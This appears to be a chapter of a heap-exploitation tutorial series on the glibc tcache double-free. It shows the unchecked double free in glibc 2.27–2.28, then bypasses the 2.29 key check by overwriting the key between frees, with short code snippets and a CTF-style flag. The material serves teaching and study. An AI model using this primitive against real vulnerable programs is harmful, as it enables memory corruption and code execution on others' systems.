tcache dup

Fastbin dup had to dance around a check. The tcache, for two whole releases, had none — free a chunk twice and it cheerfully linked it into the tcache twice. glibc 2.29 finally added a guard, and it's a single field sitting in the freed chunk's own data, which means you can erase it. This is the most common double-free you'll actually use.

2.27–2.28: just free it twice#

On the first two tcache releases there is nothing to bypass:

1
2
3
4

free(a);            // tcache[idx]: a
free(a);            // tcache[idx]: a -> a    (no complaint at all)
x = malloc(sz);     // x == a
y = malloc(sz);     // y == a  -> two live pointers to one chunk

Now x and y alias. Free one, edit it through the other, and you control a freed chunk's fd — which is tcache poisoning: the next-but-one allocation lands wherever you point.

2.29+: the key field, and erasing it#

glibc 2.29 gave freed tcache chunks a key — the second quadword of the chunk's data is set to the address of the tcache_perthread_struct. On free, if the chunk you're freeing already carries that key, glibc walks the bin looking for a double-free and aborts:

1
2
3
4
5
6
7
8

typedef struct tcache_entry {
    struct tcache_entry *next;   // 1st quadword: the fd
    struct tcache_perthread_struct *key;  // 2nd quadword: double-free sentinel
} tcache_entry;

// in _int_free:
if (__glibc_unlikely (e->key == tcache))
    /* scan the bin; abort on "free(): double free detected in tcache 2" */

The bypass writes itself: between the two frees, overwrite the key to anything that isn't the tcache pointer. The check e->key == tcache then fails, the scan is skipped, and the second free goes through:

00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

1
2
3

free(a);                 // tcache[idx]: a   (a->key = tcache)
edit(a, p64(0) + p64(0)); // a->next = 0, a->key = 0  (key != tcache now)
free(a);                 // passes the check -> tcache[idx]: a -> a

1

segfault{th3_tc4ch3_n3v3r_l34rns}

The tcache dup is the workhorse: simplest double-free, straight into the friendliest poison. Next we go back to the classics with a twist — the House of Einherjar, where one null byte lets you consolidate a chunk backward into a fake chunk anywhere.